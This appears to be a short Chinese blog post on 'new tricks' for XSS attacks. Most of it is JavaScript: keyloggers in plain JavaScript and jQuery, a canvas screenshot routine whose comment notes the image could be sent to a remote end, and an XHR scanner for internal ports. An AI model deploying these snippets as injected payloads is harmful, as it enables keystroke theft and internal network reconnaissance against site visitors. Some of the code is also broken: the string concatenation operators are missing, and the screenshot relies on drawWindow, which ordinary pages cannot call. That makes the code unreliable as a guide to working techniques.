XSS攻击在新花样

2024-06-29 10:10:26 浏览数 (2)

XSS攻击是一种传统的攻击方式,但随着这么多年的技术发现,尤其是在新的技术环境下,有人已经玩出了很多新花样。

一、JavaScript的键盘记录器

在JavaScript中创建键盘记录器通常涉及到监听键盘事件,但是出于隐私和安全的原因,现代浏览器限制了对键盘事件的访问,特别是跨域和在某些情况下,如在HTTPS页面上运行的HTTP脚本,浏览器会阻止键盘事件的监听。

具体实现的伪码如下:

代码语言:javascript复制
document.addEventListener('keydown', function(event) {
  console.log('Key pressed:', event.key);
  // 这里可以添加你想要执行的代码
});

document.addEventListener('keyup', function(event) {
  console.log('Key released:', event.key);
  // 这里可以添加你想要执行的代码
});

document.addEventListener('keypress', function(event) {
  console.log('Key pressed and released:', event.key);
  // 这里可以添加你想要执行的代码
});

二、JQuery键盘记录器

jQuery监听键盘事件与原生JavaScript类似,但使用jQuery可以使得代码更加简洁。以下是使用jQuery来监听键盘事件的示例代码:

代码语言:javascript复制
$(document).ready(function() {
    $(document).keydown(function(event) {
        console.log('Key pressed:', event.which); // event.which 返回按键的键码
    });

    $(document).keyup(function(event) {
        console.log('Key released:', event.which);
    });

    // keypress 事件在按下并释放键时触发,适用于获取字符输入
    $(document).keypress(function(event) {
        console.log('Key pressed and character input:', String.fromCharCode(event.which));
    });
});

在页面加载完成后,为整个页面添加键盘事件的监听器。keydown事件在用户按下键时触发,keyup事件在用户释放键时触发,而keypress事件则在按下键并输入字符时触发。这种方式,要比原生的javascript简洁得多,不同的是,要依赖网页的jQuery类库,或者直接引用云端的jQuery类库。

三、HTML5截图

在HTML5中,可以使用canvas元素和toDataURL方法来实现截图功能。以下演示如何捕获网页上的截图:

代码语言:javascript复制
function captureFullPage() {
    var canvas = document.createElement('canvas');
    var context = canvas.getContext('2d');
    var width = window.innerWidth;
    var height = window.innerHeight;

    canvas.width = width;
    canvas.height = height;

    // 将页面绘制到canvas上
    context.drawWindow(window, 0, 0, width, height, 'transparent');

    // 将canvas转换为图片数据URL
    var imageData = canvas.toDataURL('image/png');

    // 处理图片数据URL,如下载或显示
    console.log(imageData);//也可以直接发送到远端
}

这样,就会捕获当前视口的整个页面截图。如果需要捕获整个长页面,可能需要滚动页面并多次截图。

四、基于XHR的内网端口扫描

使用原生JavaScript和XMLHttpRequest (XHR) 来实现一个简单的端口扫描器:

代码语言:javascript复制
function scanPort(port, host) {
    var url = 'http://'   host   ':'   port   '/test'; // 测试的URL,可以根据需要更改路径
    var xhr = new XMLHttpRequest();

    xhr.onreadystatechange = function() {
        if (xhr.readyState === XMLHttpRequest.DONE) {
            if (xhr.status === 0) {
                console.log('Port '   port   ' is closed or blocked by CORS.');
            } else if (xhr.status === 200) {
                console.log('Port '   port   ' is open.');
            } else {
                console.log('Port '   port   ' responded with status:', xhr.status);
            }
        }
    };

    xhr.open('HEAD', url, true);
    xhr.send();
}

// 使用示例:扫描example.com的80端口
scanPort(80, 'example.com');
scanPort(8080, 'example.com');

本文共 523 个字数,平均阅读时长 ≈ 2分钟

0 人点赞